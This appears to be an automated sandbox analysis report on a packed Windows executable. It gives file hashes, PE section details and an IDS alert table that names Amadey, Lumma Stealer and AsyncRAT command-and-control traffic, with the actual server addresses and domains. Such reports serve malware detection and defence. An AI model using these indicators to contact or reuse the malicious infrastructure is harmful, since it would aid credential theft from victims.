SHA-512:	E38802F5C26F55EAEDA243F3B69E6E73655DB2D129D5DB3E04AC2500CA509C9ECDB52432A58CDFF57247C4C64CA515D2345A14CE8BB3438589E97D62E088ADA7
Malicious:	false
Preview:	........<..A..+wG..5F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................'.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.41675465542848
Encrypted:	false
SSDEEP:	6144:Tcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNy5+:Ii58oSWIZBk2MM6AFB8o
MD5:	0799530A1789329668EDDFBF8815106D
SHA1:	074D760CC2C46478CCDA14FE1B371252AC58A805
SHA-256:	FA84F96A07B6CBA69E05BEB9DC7A8E0476D7D6BE0BB83205B1506F5DC8A473FB
SHA-512:	8FA689BA68A346D8A2D3491FFB3CE83A26749D278741B8C57410353E273E7E9FE5A1F8FC5B05161FE1417B6836DAE5F4BC49031DD2605F1E14528C71E099587B
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmJ....e..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5178)
Category:	downloaded
Size (bytes):	5183
Entropy (8bit):	5.819215862154101
Encrypted:	false
SSDEEP:	96:gliUFd66666rUTE7gO3J1OH0T/FQh1CkLCK1AeTwR4+2htmNt+xyGJNfff5fo:WhFd66666rUeVZ1HtQhpp1Ax4+2jmioL
MD5:	5A621D1248B1DAB93A6B3339A2B90AA3
SHA1:	4C2D7E1C1CDB6C9307843F139BAD4397B93020DE
SHA-256:	4926257BFF82D14FE8CE3FCEE256E2274B68A1164570AAABD1BB7995DC654B5B
SHA-512:	FD7598B4D612D6D23D6BE2819C58C126B55568EB81A48D9946BAE0D101BE894B335A8D4DA282B6A71BCBD2C0DC1569064BD7142F6B4C9DA228C881B28C54C24B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mexico earthquake today","atlas comet 2024 g3","blue origin new glenn rocket launch","pantera den of thieves","nba basketball","gta 6 rockstar games","winter storm cora snowfall totals","bitcoin hard drive landfill"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWhnNG16ZnRfEgkyMDI1IGZpbG0y+w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0FnTUJBQUFBQUFBQUFBQUFBQUFFQlFJREFRWUhBUC9FQURRUUFBSUJBd0lEQmdNSEJRRUFBQUFBQUFFQ0F3QUVFUkloQlRGQkJoTWlVWUdSWVhHaEZESnlzZEhTOFVKaWtzSGhKUC9FQUJvQkFBSUNBd0FBQUF

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	176106
Entropy (8bit):	5.550039490877255
Encrypted:	false
SSDEEP:	3072:eEBOdc32TMLUtSdEsN4FP5/278Ivoh9NmxVhTaLB80G5JCk2mlNwfQuJq+CjQDI/:eKOdcPLUtSdn4P5/y8Iwh9NmX5aLB80o
MD5:	D64C0D9594ACD5B48E6C6A4A48494A2C
SHA1:	F39C02870860A3F0563B47D753699E8095578DFE
SHA-256:	A2E707230996D82F27A3EC406290353D4DF89A967693D454A57E14896509D87B
SHA-512:	F6DA048855D3B2D05F0A11E90206209FF991EEEA1926A298B17D1DE48E85E1E2334CF7885C772AB109FCC372FB5B6DA8A328AC901653C87CDAFC3B0A9607D3C4
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.rX6uZdQxZxU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvH0Rknr6hXqx-tgqAUuIv05wLZhQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.xb(a,b,c);return Array.isArray(a)?a:_.Hc};._.jj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133209
Entropy (8bit):	5.43607363477388
Encrypted:	false
SSDEEP:	3072:fIk2hK+G05hzyxT+BVAkYocA0rfuZUY2i6e:fShZJy1JkYocA0rf6UY8e
MD5:	4C6E7C42B3EA9C25916F0FFC01F24137
SHA1:	EC10D0F9A42C739DBAF135DC4C6C32895C708711
SHA-256:	2C90A2CC563BABA0EFF58A9F237E92C3CE54D250FF725A37DC0C8A3A8FB3262B
SHA-512:	90205A8C7A84860A2805D47951B27BEAD6DD083209B5C2450F868EB53E3147CE98C662BE44144C715047D603AE32EC04E8EC7B1BA7C77418106A0B6651EEC22E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.CEsjJf2wziM.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTvDtorsWuiBHYzP5-lS7pwgoAa95g"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.361532934447034
Encrypted:	false
SSDEEP:	3:hYF8AgAR+mQRKVxLZUtVy:hYF0aNZUts
MD5:	B31189F1743824C5EBFB171E64E97457
SHA1:	F3E54CD16402304FF7A380F42B67DBC5E54AA197
SHA-256:	320B258C056D108672E1D5BE6E3C59809BECCB3F17EA3025858DADEDF5D153B7
SHA-512:	63EAA8D6BAEBEBC5453C070BD0F93FAF3B8CC1EFBA1C9D9F1D00875EB2FF269E8530B9CD29C91EE85BE4DE606163CE1D7688F88885A46893D2FA969B95647ADC
Malicious:	false
Preview:	..Waiting for 2 seconds, press a key to continue ....1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9488441141783595
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UWYXurYZ2x.exe
File size:	1'908'224 bytes
MD5:	c873c0af86d36318f23bf63377181cdd
SHA1:	1277d3f0a9ceb8260fbe396f2a7369381bfb7406
SHA256:	203a5b531b8803628b6aa37e8a7e08a0c83e3f10bba6155e2529cc0bc97548f7
SHA512:	abcfd087c56daf93ae7da1ac7d13aff04be70eab6c2b256fca1b4fa3884771b8da8a1fe4af9a754c5de97f6bb68b1213ba1e1f282e439a1c314b52b46f82add5
SSDEEP:	49152:3UD21gzSJUaD6nFX4q0KPulTJW1gERg6tIev8bYe:3UaUSJUabpKP4kIe1
TLSH:	939533665EBA9CCEC7735B30171A42E23868CEFDC222BC1FAD893B59D44F5724AB1051
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b7000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC4DCD1DE0Ah
paddb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC4DCD1FE05h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x3c0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b4e5c	0x10	uxuphkme
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b4e0c	0x18	uxuphkme
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	9d4eb00d4ca1954b91f507fbbec76b2c	False	0.998446014986376	data	7.99042787579377	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x3c0	0x400	acbbbc04188e325b3f079257de0dd046	False	0.4931640625	data	4.269611081805472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2aa000	0x200	7bbe25b315d8f222e3e6147e61a5df32	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uxuphkme	0x315000	0x1a1000	0x1a0200	81775760bb9bd0aa25e0bb098f5bc27d	False	0.9945530752478222	data	7.953193470175589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uphougfc	0x4b6000	0x1000	0x400	0a155bce2a29bf1d87f4628dc4706c22	False	0.783203125	data	6.122116544286668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b7000	0x3000	0x2200	1f6b60651aa150df7ad57a4d80f306d5	False	0.062270220588235295	DOS executable (COM)	0.7865625925799563	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b4e6c	0x1ce	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.6233766233766234
RT_MANIFEST	0x4b503a	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-12T17:39:05.377521+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49973	185.215.113.43	80	TCP
2025-01-12T17:39:08.385055+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49975	31.41.244.11	80	TCP
2025-01-12T17:39:24.053722+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49974	TCP
2025-01-12T17:39:24.764615+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49977	185.215.113.43	80	TCP
2025-01-12T17:39:25.471945+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49978	31.41.244.11	80	TCP
2025-01-12T17:39:32.671963+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49979	185.215.113.43	80	TCP
2025-01-12T17:39:33.398527+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49980	31.41.244.11	80	TCP
2025-01-12T17:39:39.530103+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49981	185.215.113.43	80	TCP
2025-01-12T17:39:40.310307+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49982	31.41.244.11	80	TCP
2025-01-12T17:39:41.077923+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.24	4449	192.168.2.7	49983	TCP
2025-01-12T17:39:43.917016+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49985	185.215.113.43	80	TCP
2025-01-12T17:39:45.339830+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49986	162.0.209.157	443	TCP
2025-01-12T17:39:47.063687+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.24	4449	192.168.2.7	49987	TCP
2025-01-12T17:39:52.624385+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49988	185.215.113.43	80	TCP
2025-01-12T17:39:53.379947+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49990	31.41.244.11	80	TCP
2025-01-12T17:39:56.843118+0100	2048736	ET MALWARE LUMAR Stealer Exfiltration M2	1	192.168.2.7	49996	185.244.212.106	2227	TCP
2025-01-12T17:39:57.131691+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49994	185.215.113.43	80	TCP
2025-01-12T17:39:57.856325+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49997	31.41.244.11	80	TCP
2025-01-12T17:39:57.974776+0100	2059051	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soundtappysk .shop)	1	192.168.2.7	51323	1.1.1.1	53	UDP
2025-01-12T17:39:57.997071+0100	2059041	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (femalsabler .shop)	1	192.168.2.7	57805	1.1.1.1	53	UDP
2025-01-12T17:39:58.009311+0100	2059035	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (apporholis .shop)	1	192.168.2.7	63154	1.1.1.1	53	UDP
2025-01-12T17:39:58.020845+0100	2059039	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crowdwarek .shop)	1	192.168.2.7	52521	1.1.1.1	53	UDP
2025-01-12T17:39:58.050504+0100	2059057	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (versersleep .shop)	1	192.168.2.7	59593	1.1.1.1	53	UDP
2025-01-12T17:39:58.065907+0100	2059037	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chipdonkeruz .shop)	1	192.168.2.7	49503	1.1.1.1	53	UDP
2025-01-12T17:39:58.078464+0100	2059043	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (handscreamny .shop)	1	192.168.2.7	49657	1.1.1.1	53	UDP
2025-01-12T17:39:58.090885+0100	2059049	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (robinsharez .shop)	1	192.168.2.7	58567	1.1.1.1	53	UDP
